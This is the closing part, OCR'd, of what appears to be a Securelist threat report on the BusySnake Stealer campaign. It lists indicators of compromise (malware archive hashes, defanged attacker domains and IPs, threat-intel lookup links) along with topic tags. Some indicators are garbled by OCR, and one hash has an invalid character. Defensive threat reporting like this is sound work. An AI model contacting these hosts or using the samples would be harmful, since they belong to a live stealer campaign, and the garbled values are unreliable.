E2550CFAD9DCC880BF04F6048F90868C RAR archive with BusySnake Stealer
FED2BDD8047ADDEEGFDE2F532DE181BFD RAR archive with BusySnake Stealer

vareniel.]live

IvI99].]store

onetoken(.]ink

winupdatel.Jink

grked[.Jonline

ndrt[.Jink
myboard][.]chickenkiller.com
myboard][.]twilightparadox.com

159.198.41[.]140
159.198.75[,]219
159.198.32[,]222
69.67.173[.]153

+ Malware Technologies
Microsoft Windows
Targeted attacks

« Obfuscation

« Malware Descriptions
e Spear phishing

+ Malware

* APT

o RAT Trojan

« PowerShell

+ Trojan-stealer

o TTPs

e Python

e VBS

« Cookies

Armored Likho digging a snake pit: inside the covert BusySnake Stealer campaign

Your email address will not be published. Required fields are marked *

24/25


https://opentip.kaspersky.com/1dba3e505491a260a44c867902c3296e/results?icid=gl_sl_tr-post-opentip_sm-team_ce22784e46ec16a3&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/1096268fa2b3d454c86cf851cb782319/results?icid=gl_sl_tr-post-opentip_sm-team_6807db0e3de7dc3a&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/f2ab09d7e7a375a192508a5014aa2ee4/results?icid=gl_sl_tr-post-opentip_sm-team_ab6297f2d9c8e910&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/0041fd1b2358cd08dbcbc28ea8fc3d20/results?icid=gl_sl_tr-post-opentip_sm-team_a3ba6c6ce7ec15f0&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/894332174f536c2e1efeda05cba79f8b/results?icid=gl_sl_tr-post-opentip_sm-team_52947e25b8fe82b6&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/78135f72ab148a0cc074f6b2dd51fff6/results?icid=gl_sl_tr-post-opentip_sm-team_17b80463933bdf5f&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/07213c419489c02791e8d67b91e404ef/results?icid=gl_sl_tr-post-opentip_sm-team_1639bcfe7fb716b2&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/393b498f2114cabc0b29d5fcd9dc6723/results?icid=gl_sl_tr-post-opentip_sm-team_49b29bd71c3348de&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/cf74ac018d158ea2c2cfa1b1d71d95bc/results?icid=gl_sl_tr-post-opentip_sm-team_1b8cbdb6e21cab6e&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/2dfa1d949872c1b2f04952dd3e5f5d8f/results?icid=gl_sl_tr-post-opentip_sm-team_7dc3df7b970ebad3&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/c7622a1effa27bbfee6d6e03d6474343/results?icid=gl_sl_tr-post-opentip_sm-team_aee53235fef0dfa7&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/80b7700053e115d65365ce7330383320/results?icid=gl_sl_tr-post-opentip_sm-team_c772e79c8652e59e&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/6b45ddb39a6e86229348dcbba3857e7c/results?icid=gl_sl_tr-post-opentip_sm-team_9cd9b21af4a9ca3c&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/006887732ca4a4a46a97989cf4deeef6/results?icid=gl_sl_tr-post-opentip_sm-team_e3d2572876e22406&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/732c31acf971a81c7e51b2a3dae82020/results?icid=gl_sl_tr-post-opentip_sm-team_864672d0ec426193&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/ddff82a115558584bbd7741d4ffb35b4/results?icid=gl_sl_tr-post-opentip_sm-team_11f178343fa44ff2&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/8188b2f347b77d65d08cfb23808ac244/results?icid=gl_sl_tr-post-opentip_sm-team_5fa5289721f94aa6&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/e2550cfad9dcc880bf04f6048f90868c/results?icid=gl_sl_tr-post-opentip_sm-team_7a3ad0250969f871&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/fd2bdd8047addee6fde2f532de181bfd/results?icid=gl_sl_tr-post-opentip_sm-team_07d752ff4647a569&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/winupdate.live/?icid=gl_sl_tr-post-opentip_sm-team_4948457de2a1b74f&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/arvax.xyz/?icid=gl_sl_tr-post-opentip_sm-team_fce5188397f9c3fc&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/varenie.live/?icid=gl_sl_tr-post-opentip_sm-team_4cc824993dae9772&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/lvl99.store/?icid=gl_sl_tr-post-opentip_sm-team_0a7c0d8f7d12a0e9&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/onetoken.ink/?icid=gl_sl_tr-post-opentip_sm-team_13ba8e1119cadf8a&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/winupdate.ink/?icid=gl_sl_tr-post-opentip_sm-team_02ed0efe3a6e2c7d&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/grked.online/?icid=gl_sl_tr-post-opentip_sm-team_fee62a2d083d8346&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/ndrt.ink/?icid=gl_sl_tr-post-opentip_sm-team_bc7581f62e7e5b0d&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/myboard.chickenkiller.com/?icid=gl_sl_tr-post-opentip_sm-team_4899a87efb9ddbf5&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/myboard.twilightparadox.com/?icid=gl_sl_tr-post-opentip_sm-team_4cd7e87f9515936e&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/159.198.41.140/?icid=gl_sl_tr-post-opentip_sm-team_468f9c5cb60731bb&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/159.198.75.219/?icid=gl_sl_tr-post-opentip_sm-team_d42089a85dbb27f7&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/159.198.32.222/?icid=gl_sl_tr-post-opentip_sm-team_42c180b3bab7f288&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/69.67.173.153/?icid=gl_sl_tr-post-opentip_sm-team_3346683a78d636b0&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://securelist.com/tag/malware-technologies/
https://securelist.com/tag/microsoft-windows/
https://securelist.com/tag/targeted-attacks/
https://securelist.com/tag/obfuscation/
https://securelist.com/tag/malware-descriptions/
https://securelist.com/tag/spear-phishing/
https://securelist.com/tag/malware/
https://securelist.com/tag/apt/
https://securelist.com/tag/rat-trojan/
https://securelist.com/tag/powershell/
https://securelist.com/tag/trojan-stealer/
https://securelist.com/tag/ttps/
https://securelist.com/tag/python/
https://securelist.com/tag/vbs/
https://securelist.com/tag/cookies/

Name *
Email *

This site uses Akismet to reduce spam. Learn how your comment data is processed.

25/25


https://akismet.com/privacy/

